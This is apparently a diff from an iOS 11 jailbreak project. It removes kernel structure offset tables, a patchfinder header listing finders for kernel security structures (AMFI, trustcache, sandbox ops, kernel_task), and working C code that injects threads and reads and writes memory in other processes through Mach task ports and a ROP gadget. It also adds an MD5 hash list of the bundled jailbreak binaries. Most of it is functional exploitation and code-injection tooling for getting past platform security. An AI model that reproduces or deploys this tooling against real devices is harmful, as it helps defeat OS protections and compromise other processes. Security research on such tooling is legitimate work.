|
||||
int kstruct_offsets_11_3[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0x7c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset) {
|
||||
if (offsets == NULL) {
|
||||
printf("need to call offsets_init() prior to querying offsets\n");
|
||||
return 0;
|
||||
}
|
||||
return offsets[offset];
|
||||
}
|
||||
|
||||
|
||||
void offsets_init() {
|
||||
if (kCFCoreFoundationVersionNumber >= 1452.23) {
|
||||
printf("offsets selected for iOS 11.3 or above\n");
|
||||
offsets = kstruct_offsets_11_3;
|
||||
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
|
||||
printf("offsets selected for iOS 11.0 to 11.2.6\n");
|
||||
offsets = kstruct_offsets_11_0;
|
||||
} else {
|
||||
printf("iOS version too low, 11.0 required\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
@@ -1,55 +0,0 @@
|
||||
#ifndef PATCHFINDER64_H_
|
||||
#define PATCHFINDER64_H_
|
||||
|
||||
int init_kernel(uint64_t base, const char *filename);
|
||||
void term_kernel(void);
|
||||
|
||||
enum { SearchInCore, SearchInPrelink };
|
||||
|
||||
uint64_t find_register_value(uint64_t where, int reg);
|
||||
uint64_t find_reference(uint64_t to, int n, int prelink);
|
||||
uint64_t find_strref(const char *string, int n, int prelink);
|
||||
uint64_t find_gPhysBase(void);
|
||||
uint64_t find_kernel_pmap(void);
|
||||
uint64_t find_amfiret(void);
|
||||
uint64_t find_ret_0(void);
|
||||
uint64_t find_amfi_memcmpstub(void);
|
||||
uint64_t find_sbops(void);
|
||||
uint64_t find_lwvm_mapio_patch(void);
|
||||
uint64_t find_lwvm_mapio_newj(void);
|
||||
|
||||
uint64_t find_entry(void);
|
||||
const unsigned char *find_mh(void);
|
||||
|
||||
uint64_t find_cpacr_write(void);
|
||||
uint64_t find_str(const char *string);
|
||||
uint64_t find_amfiops(void);
|
||||
uint64_t find_sysbootnonce(void);
|
||||
uint64_t find_trustcache(void);
|
||||
uint64_t find_amficache(void);
|
||||
uint64_t find_allproc(void);
|
||||
uint64_t find_add_x0_x0_0x40_ret(void);
|
||||
uint64_t find_copyout(void);
|
||||
uint64_t find_bzero(void);
|
||||
uint64_t find_bcopy(void);
|
||||
uint64_t find_rootvnode(void);
|
||||
uint64_t find_realhost(void);
|
||||
uint64_t find_zone_map_ref(void);
|
||||
uint64_t find_OSBoolean_True(void);
|
||||
uint64_t find_OSBoolean_False(void);
|
||||
uint64_t find_osunserializexml(void);
|
||||
uint64_t find_smalloc(void);
|
||||
uint64_t find_vfs_context_current(void);
|
||||
uint64_t find_vnode_lookup(void);
|
||||
uint64_t find_vnode_put(void);
|
||||
uint64_t find_vnode_getfromfd(void);
|
||||
uint64_t find_vnode_getattr(void);
|
||||
uint64_t find_SHA1Init(void);
|
||||
uint64_t find_SHA1Update(void);
|
||||
uint64_t find_SHA1Final(void);
|
||||
uint64_t find_csblob_entitlements_dictionary_set(void);
|
||||
uint64_t find_kernel_task(void);
|
||||
uint64_t find_kernproc(void);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,231 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_traps.h>
|
||||
|
||||
extern uint64_t
|
||||
find_blr_x19_gadget(void);
|
||||
|
||||
#include "remote_call.h"
|
||||
#include "remote_memory.h"
|
||||
|
||||
|
||||
// no support for non-register args
|
||||
#define MAX_REMOTE_ARGS 8
|
||||
|
||||
// not in iOS SDK headers:
|
||||
extern void
|
||||
_pthread_set_self(
|
||||
pthread_t p);
|
||||
|
||||
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...)
|
||||
{
|
||||
if (n_params > MAX_REMOTE_ARGS || n_params < 0){
|
||||
printf("unsupported number of arguments to remote function (%d)\n", n_params);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t remote_stack_base = 0;
|
||||
uint64_t remote_stack_size = 4*1024*1024;
|
||||
|
||||
remote_stack_base = remote_alloc(task_port, remote_stack_size);
|
||||
|
||||
uint64_t remote_stack_middle = remote_stack_base + (remote_stack_size/2);
|
||||
|
||||
// create a new thread in the target
|
||||
// just using the mach thread API doesn't initialize the pthread thread-local-storage
|
||||
// which means that stuff which relies on that will crash
|
||||
// we can sort-of make that work by calling _pthread_set_self(NULL) in the target process
|
||||
// which will give the newly created thread the same TLS region as the main thread
|
||||
|
||||
|
||||
_STRUCT_ARM_THREAD_STATE64 thread_state = {0};
|
||||
mach_msg_type_number_t thread_stateCnt = sizeof(thread_state)/4;
|
||||
|
||||
// we'll start the thread running and call _pthread_set_self first:
|
||||
thread_state.__sp = remote_stack_middle;
|
||||
thread_state.__pc = (uint64_t)_pthread_set_self;
|
||||
|
||||
// set these up to put us into a predictable state we can monitor for:
|
||||
uint64_t loop_lr = find_blr_x19_gadget();
|
||||
thread_state.__x[19] = loop_lr;
|
||||
thread_state.__lr = loop_lr;
|
||||
|
||||
// set the argument to NULL:
|
||||
thread_state.__x[0] = 0;
|
||||
|
||||
mach_port_t thread_port = MACH_PORT_NULL;
|
||||
|
||||
err = thread_create_running(task_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt, &thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error creating thread in child: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
printf("new thread running in child: %x\n", thread_port);
|
||||
|
||||
// wait for it to hit the loop:
|
||||
while(1){
|
||||
// monitor the thread until we see it's in the infinite loop indicating it's done:
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error getting thread state: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (thread_state.__pc == loop_lr && thread_state.__x[19] == loop_lr){
|
||||
// thread has returned from the target function
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// the thread should now have pthread local storage
|
||||
// pause it:
|
||||
|
||||
err = thread_suspend(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to suspend target thread\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
err = thread_abort(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to get thread out of any traps\n");
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
// set up for the actual target call:
|
||||
thread_state.__sp = remote_stack_middle;
|
||||
thread_state.__pc = (uint64_t)fptr;
|
||||
|
||||
// set these up to put us into a predictable state we can monitor for:
|
||||
thread_state.__x[19] = loop_lr;
|
||||
thread_state.__lr = loop_lr;
|
||||
|
||||
va_list ap;
|
||||
va_start(ap, n_params);
|
||||
|
||||
arg_desc* args[MAX_REMOTE_ARGS] = {0};
|
||||
|
||||
uint64_t remote_buffers[MAX_REMOTE_ARGS] = {0};
|
||||
//uint64_t remote_buffer_sizes[MAX_REMOTE_ARGS] = {0};
|
||||
|
||||
for (int i = 0; i < n_params; i++){
|
||||
arg_desc* arg = va_arg(ap, arg_desc*);
|
||||
|
||||
args[i] = arg;
|
||||
|
||||
switch(arg->type){
|
||||
case ARG_LITERAL:
|
||||
{
|
||||
thread_state.__x[i] = arg->value;
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_BUFFER:
|
||||
case ARG_BUFFER_PERSISTENT:
|
||||
{
|
||||
uint64_t remote_buffer = alloc_and_fill_remote_buffer(task_port, arg->value, arg->length);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_OUT_BUFFER:
|
||||
{
|
||||
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
|
||||
printf("allocated a remote out buffer: %llx\n", remote_buffer);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
printf("invalid argument type!\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
va_end(ap);
|
||||
|
||||
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error setting new thread state: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
printf("thread state updated in target: %x\n", thread_port);
|
||||
|
||||
err = thread_resume(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to resume target thread\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(1){
|
||||
// monitor the thread until we see it's in the infinite loop indicating it's done:
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&thread_state, &thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error getting thread state: %s\n", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (thread_state.__pc == loop_lr/*&& thread_state.__x[19] == loop_lr*/){
|
||||
// thread has returned from the target function
|
||||
break;
|
||||
}
|
||||
|
||||
// thread isn't in the infinite loop yet, let it continue
|
||||
}
|
||||
|
||||
// deallocate the remote thread
|
||||
err = thread_terminate(thread_port);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("failed to terminate thread\n");
|
||||
return 0;
|
||||
}
|
||||
mach_port_deallocate(mach_task_self(), thread_port);
|
||||
|
||||
// handle post-call argument cleanup/copying:
|
||||
for (int i = 0; i < MAX_REMOTE_ARGS; i++){
|
||||
arg_desc* arg = args[i];
|
||||
if (arg == NULL){
|
||||
break;
|
||||
}
|
||||
switch (arg->type){
|
||||
case ARG_BUFFER:
|
||||
{
|
||||
remote_free(task_port, remote_buffers[i], arg->length);
|
||||
break;
|
||||
}
|
||||
|
||||
case ARG_OUT_BUFFER:
|
||||
{
|
||||
// copy the contents back:
|
||||
remote_read_overwrite(task_port, remote_buffers[i], arg->value, arg->length);
|
||||
remote_free(task_port, remote_buffers[i], arg->length);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t ret_val = thread_state.__x[0];
|
||||
|
||||
printf("remote function call return value: %llx\n", ret_val);
|
||||
|
||||
// deallocate the stack in the target:
|
||||
remote_free(task_port, remote_stack_base, remote_stack_size);
|
||||
|
||||
return ret_val;
|
||||
}
|
||||
|
||||
@@ -1,42 +0,0 @@
|
||||
#ifndef remote_call_h
|
||||
#define remote_call_h
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdint.h>
|
||||
|
||||
enum arg_type {
|
||||
ARG_LITERAL,
|
||||
ARG_BUFFER,
|
||||
ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
|
||||
ARG_OUT_BUFFER
|
||||
};
|
||||
|
||||
typedef struct _arg_desc {
|
||||
uint64_t type;
|
||||
uint64_t value;
|
||||
uint64_t length;
|
||||
} arg_desc;
|
||||
|
||||
#define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0}
|
||||
#define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size}
|
||||
#define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)}
|
||||
#define REMOTE_BUFFER_PERSISTENT(ptr, size) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)ptr, (uint64_t)size}
|
||||
#define REMOTE_CSTRING_PERSISTENT(str) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)str, (uint64_t)(strlen(str)+1)}
|
||||
|
||||
|
||||
// allocate a remote buffer and pass the address of that to the remote function
|
||||
// when the function call is complete return the contents of that buffer to this process
|
||||
// and deallocate the buffer in the remote process
|
||||
// ptr should be a pointer to buffer capable of holding size bytes
|
||||
//
|
||||
// eg:
|
||||
// mach_port_t port = MACH_PORT_NULL;
|
||||
// call_remote(task_port, bootstrap_look_up, 3, REMOTE_LITERAL(remote_bootstrap_port), REMOTE_CSTRING("com.foo.bar"), REMOTE_OUT_BUFFER(&port, sizeof(port))
|
||||
// // port set to value of looked up port in remote process
|
||||
// // note that this doesn't actually transfer the port! use other helpers for that
|
||||
#define REMOTE_OUT_BUFFER(ptr, size) &(arg_desc){ARG_OUT_BUFFER, (uint64_t)ptr, (uint64_t)size}
|
||||
|
||||
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,135 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_traps.h>
|
||||
|
||||
#include "remote_memory.h"
|
||||
|
||||
// no headers for these in iOS SDK:
|
||||
extern kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
extern kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
|
||||
extern kern_return_t mach_vm_read_overwrite
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize
|
||||
);
|
||||
|
||||
extern kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
|
||||
|
||||
|
||||
|
||||
uint64_t
|
||||
remote_alloc(mach_port_t task_port,
|
||||
uint64_t size)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
mach_vm_offset_t remote_addr = 0;
|
||||
mach_vm_size_t remote_size = (mach_vm_size_t)size;
|
||||
err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to allocate buffer in remote process\n");
|
||||
return 0;
|
||||
}
|
||||
return (uint64_t)remote_addr;
|
||||
}
|
||||
|
||||
void
|
||||
remote_free(mach_port_t task_port,
|
||||
uint64_t base,
|
||||
uint64_t size)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unabble to deallocate remote buffer\n");
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t
|
||||
alloc_and_fill_remote_buffer(mach_port_t task_port,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t remote_address = remote_alloc(task_port, length);
|
||||
|
||||
err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to write to remote memory\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return remote_address;
|
||||
}
|
||||
|
||||
void
|
||||
remote_read_overwrite(mach_port_t task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("remote read failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (outsize != length){
|
||||
printf("remote read was short (expected %llx, got %llx\n", length, outsize);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
remote_write(mach_port_t remote_task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
{
|
||||
kern_return_t err = mach_vm_write(remote_task_port,
|
||||
(mach_vm_address_t)remote_address,
|
||||
(vm_offset_t)local_address,
|
||||
(mach_msg_type_number_t)length);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("remote write failed: %s %x\n", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
#ifndef remote_memory_h
|
||||
#define remote_memory_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// allocate a buffer in the remote process
|
||||
uint64_t
|
||||
remote_alloc(mach_port_t task_port,
|
||||
uint64_t size);
|
||||
|
||||
// free a buffer in the remote process
|
||||
void
|
||||
remote_free(mach_port_t task_port,
|
||||
uint64_t base,
|
||||
uint64_t size);
|
||||
|
||||
// allocate a buffer in the remote process and fill it with the given contents
|
||||
uint64_t
|
||||
alloc_and_fill_remote_buffer(mach_port_t task_port,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
|
||||
// read from the remote address to the local address
|
||||
// local address must be the address of a buffer at least length bytes in size
|
||||
void
|
||||
remote_read_overwrite(mach_port_t task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
|
||||
void
|
||||
remote_write(mach_port_t remote_task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
|
||||
#endif /* remote_memory_h */
|
||||
@@ -0,0 +1,262 @@
|
||||
b898b8bcd8656374448051a69057521d ./usr/bin/tee
|
||||
2703abe4fb5a83025c1b9476ff76bd33 ./usr/bin/split
|
||||
b710863f5f7acf5212de2ae187a88036 ./usr/bin/vim
|
||||
924eba52787a353e3fc6238528bc8b57 ./usr/bin/hexdump
|
||||
50ba68b0d76faecb0ea94b70a59f299a ./usr/bin/nonceutil
|
||||
f03b02a469fe0f346e44db75a1fc47ef ./usr/bin/lsmp
|
||||
a0b9f9016ccade288455b7141e1a693a ./usr/bin/vm_stat
|
||||
7a503e87e55cee7427f94c5046f602d8 ./usr/bin/syslog
|
||||
dd692a7b33f7478497f8c1b68755c477 ./usr/bin/du
|
||||
636437c879c120f204305669342a8294 ./usr/bin/fs_usage
|
||||
5eab0aa90c966a26d7f2d912bcd19e74 ./usr/bin/renice
|
||||
7a747035cf06761640e2bd1121a9fed7 ./usr/bin/xxd
|
||||
33785345f40bdad328c2a79f013e91e8 ./usr/bin/sc_usage
|
||||
58041d4cc703a25dc41d5b5e49994da3 ./usr/bin/less
|
||||
9c3b5ece12be439690b6f0a021dde9e3 ./usr/bin/inject
|
||||
65cf7456fbf76bdb3fffadf765c3e54a ./usr/bin/sed
|
||||
8f4cfcd2a709e88b88504b82ff358d65 ./usr/bin/nano
|
||||
07d32b3046248014cfaa0e1f3a489bdb ./usr/bin/tset
|
||||
63e15286116be714262cb697a7517128 ./usr/bin/seq
|
||||
e65a3eeaeea8336154f8c7f9c5bf0018 ./usr/bin/uname
|
||||
e4e05c7bf0831c52dd409dbe0d2f660e ./usr/bin/uicache
|
||||
b902b099b0b3f067165fe0baef133a69 ./usr/bin/reset
|
||||
4f01671c0ae2083b07d1ecdea264964b ./usr/bin/wc
|
||||
fd17aa563a90ced7ef7d2342aec7e280 ./usr/bin/gzip
|
||||
f89a4d1a23bc10e6e10c8f1b1bcaa652 ./usr/bin/ldid3
|
||||
2629d71e6c09495a482270544c60b5a5 ./usr/bin/printf
|
||||
c653ea9550bad9b55c97d3b1e90b8f69 ./usr/bin/ldid2
|
||||
42c0b3b435c28cec0a707dc9802cfed7 ./usr/bin/tail
|
||||
b86021f1c7316b66acd50abfedd594c2 ./usr/bin/grep
|
||||
e92491131960f0005f3f7ca416ee9236 ./usr/bin/script
|
||||
9efbb27fe365cddcb005578bd7ef7a65 ./usr/bin/more
|
||||
2fee7eacb33519aa2996cc2b83a6d357 ./usr/bin/time
|
||||
39c15e53f0dd82a58012d1d0181905e1 ./usr/bin/plconvert
|
||||
8eb822233be91c75570479c3073a5b3d ./usr/bin/head
|
||||
3bf9386f7d05055686a188718b6c12c2 ./usr/bin/clear
|
||||
f8778ec9c9faa44538b0c318624035c3 ./usr/bin/killall
|
||||
6610423671919d8e6f8588146711bd13 ./usr/bin/stat
|
||||
9f6d23b3158fd3f8a0fb900beabaa5f1 ./usr/bin/snappy
|
||||
a806f7b0dc5c4fd3d8e002afa16fadc3 ./usr/bin/sqlite3
|
||||
cdb0f23de81daad4e560ebd59c8de355 ./usr/bin/screen
|
||||
07a9b81c90872a25766127a840a14da6 ./usr/bin/arch
|
||||
50b64b8b88be46ef32d56f081542aa8c ./usr/bin/cut
|
||||
0a740c42b89808c236a07a51fe5a814d ./usr/bin/xargs
|
||||
4433ef936563f2838b09305737851015 ./usr/bin/what
|
||||
7786eabe3fe5b6b4180ced0cf4602502 ./usr/bin/ldid
|
||||
c41791441994916f3346f2f669f7bca2 ./usr/bin/chflags
|
||||
a97084e55faa35ff653099171312bb9b ./usr/bin/id
|
||||
80b33297033bd59ae090ebba1ec9b67a ./usr/bin/find
|
||||
5e84a2de4d32118d6c4adcb2e897f801 ./usr/bin/scp
|
||||
65fa4d06e93e3f9239ec284a8cafc279 ./usr/bin/true
|
||||
c32656a75f5e24d003683d8af58ca6d1 ./usr/bin/hostinfo
|
||||
b0bc120ffd09ddc8bc288556e4e238f4 ./usr/bin/tar
|
||||
d272b6b9ee40350bc868786ab6863024 ./usr/bin/false
|
||||
202fe8e6692a3a180cf0d92a16275dfc ./usr/bin/login
|
||||
d2d12e8f4cfae79936803eaa78a6c2e9 ./usr/bin/which
|
||||
a098a6ea3245b6e32b2d6085bf88f46a ./usr/bin/passwd
|
||||
23390a4a27a63ae1026e0d4640e74e97 ./usr/bin/nohup
|
||||
c9655b6dd73a182160636015270fb315 ./usr/bin/w
|
||||
110eecf0ee42142c045065003de6da8d ./usr/bin/gunzip
|
||||
3444747dd9c4f6a5207af74622318d1f ./usr/sbin/joreg
|
||||
9277c487d0a37255dba1dc8edbb14646 ./usr/sbin/ioreg
|
||||
5e0ea2ba00edd93b93c489fff5cf673e ./usr/sbin/sysctl
|
||||
a946312719036084be1584f559b2ad93 ./usr/sbin/taskpolicy
|
||||
d96c5cae510321ceb1de66a8e8a2bc47 ./usr/sbin/netstat
|
||||
ade27f5ac9bd41b1f6966829a8ae320f ./usr/sbin/ltop
|
||||
5786e43b57cc62e23931b319b91a8085 ./usr/sbin/chown
|
||||
bfe6c05f61efb46bcd4af932a504e6e6 ./usr/sbin/kextstat
|
||||
2d407928f102245200b62813aa33be3a ./usr/local/bin/wget
|
||||
70daec5f62c7801f4494df325a53c441 ./usr/local/bin/jtool2
|
||||
b95d60ad4d5812bae3eddd7c28647063 ./usr/local/bin/dbclient
|
||||
ded12835bcef335967e2165d6b0e744a ./usr/local/bin/filemon
|
||||
82b62dd019b9f24c9e7cd6a6c2140084 ./usr/local/bin/dropbear
|
||||
9886346e798d3fd0ca2535f599bffa0e ./usr/local/bin/procexp
|
||||
70da97361f47e94787937494e8653e77 ./usr/local/bin/jtool
|
||||
1eb37e4f8d302d259fb8d7b16985acfb ./usr/local/bin/dropbearkey
|
||||
4f3fb0098020807cdd741f51dd1663b3 ./usr/local/bin/jlutil
|
||||
94143bce6a7b0279a2db88ce2c3e3fdb ./usr/local/bin/joker
|
||||
bfa7e6f6b1c4f2044457101a6bc319c8 ./usr/local/bin/dropbearconvert
|
||||
a115f8ee5627857f5da055a1a8e9056c ./usr/local/bin/dropbear.orig
|
||||
d09a8eba7adbcf9417c48ed83928753b ./usr/local/bin/procexp.ent
|
||||
44298a30dfedbb312ba3923716aa61a0 ./usr/local/lib/zsh/5.0.8/zsh/termcap.so
|
||||
d0b05ff80a5f5470a77740714735c573 ./usr/local/lib/zsh/5.0.8/zsh/zleparameter.so
|
||||
d8c7842dca4e2b405ce8ab605aa78594 ./usr/local/lib/zsh/5.0.8/zsh/example.so
|
||||
73ae237bf2dafc21cef52e3b04bcd90d ./usr/local/lib/zsh/5.0.8/zsh/tcp.so
|
||||
23586b85e7444fe401672bdca5585e64 ./usr/local/lib/zsh/5.0.8/zsh/newuser.so
|
||||
705963ad326169b2b1a3a517b05765d7 ./usr/local/lib/zsh/5.0.8/zsh/deltochar.so
|
||||
714cfac68394abc786f32e96056a98a6 ./usr/local/lib/zsh/5.0.8/zsh/complete.so
|
||||
f25da108adc8701d153c9da648735307 ./usr/local/lib/zsh/5.0.8/zsh/mapfile.so
|
||||
65c97546fd24f08f90f4b49ce8632c64 ./usr/local/lib/zsh/5.0.8/zsh/stat.so
|
||||
b66cfb813e273d2ea24f585a9d07e2e0 ./usr/local/lib/zsh/5.0.8/zsh/compctl.so
|
||||
da02e032689685300c6c8a760d119066 ./usr/local/lib/zsh/5.0.8/zsh/zselect.so
|
||||
fc34fea197cfac379678b83ccaff6a1b ./usr/local/lib/zsh/5.0.8/zsh/parameter.so
|
||||
63231fa531348d09c55eff734e306e18 ./usr/local/lib/zsh/5.0.8/zsh/datetime.so
|
||||
f91108fc9fb83cc2138f9d1da7487b29 ./usr/local/lib/zsh/5.0.8/zsh/socket.so
|
||||
91f38fd37f10e3f35dbcbb49b8adfb0a ./usr/local/lib/zsh/5.0.8/zsh/terminfo.so
|
||||
deb70a41a405bb0824436ad028c556b6 ./usr/local/lib/zsh/5.0.8/zsh/clone.so
|
||||
9d3559e577bfca109520e4f0bad491ba ./usr/local/lib/zsh/5.0.8/zsh/regex.so
|
||||
f12d65d38fbe3c1db7b7d65d13a25e0c ./usr/local/lib/zsh/5.0.8/zsh/attr.so
|
||||
d16c5f028e26d507cdb8af9f165f14f8 ./usr/local/lib/zsh/5.0.8/zsh/curses.so
|
||||
91f32f5cb48390222c22ed8028e55d90 ./usr/local/lib/zsh/5.0.8/zsh/files.so
|
||||
eaf924f4282275441520d82567069883 ./usr/local/lib/zsh/5.0.8/zsh/system.so
|
||||
24a2ba2b1826a6e8990b04d9bc43e316 ./usr/local/lib/zsh/5.0.8/zsh/zpty.so
|
||||
23cc2ecf2e19f32f8eb6f9d7a37e1706 ./usr/local/lib/zsh/5.0.8/zsh/zle.so
|
||||
4d094b2b38db4fd73ae574befb25204e ./usr/local/lib/zsh/5.0.8/zsh/mathfunc.so
|
||||
bec6c7e86f26a77b9524ed128da4b4d9 ./usr/local/lib/zsh/5.0.8/zsh/zutil.so
|
||||
2ae606823ae7e68d3af3bb351a19b437 ./usr/local/lib/zsh/5.0.8/zsh/complist.so
|
||||
c6a1d10d2211feb80284e81186caa6be ./usr/local/lib/zsh/5.0.8/zsh/zftp.so
|
||||
7f3430e22eb6b38aa117ee4ed9352cee ./usr/local/lib/zsh/5.0.8/zsh/cap.so
|
||||
b513edef71f83a0254ee3f78539a1240 ./usr/local/lib/zsh/5.0.8/zsh/computil.so
|
||||
fdba1d6dda089229cdaa4a10f621b703 ./usr/local/lib/zsh/5.0.8/zsh/zprof.so
|
||||
68fc31400366cc71bf7f7e2177ea6368 ./usr/local/lib/zsh/5.0.8/zsh/langinfo.so
|
||||
fa2279010eb25eb9658280d4e8741a4c ./usr/share/terminfo/61/ansi80x50-mono
|
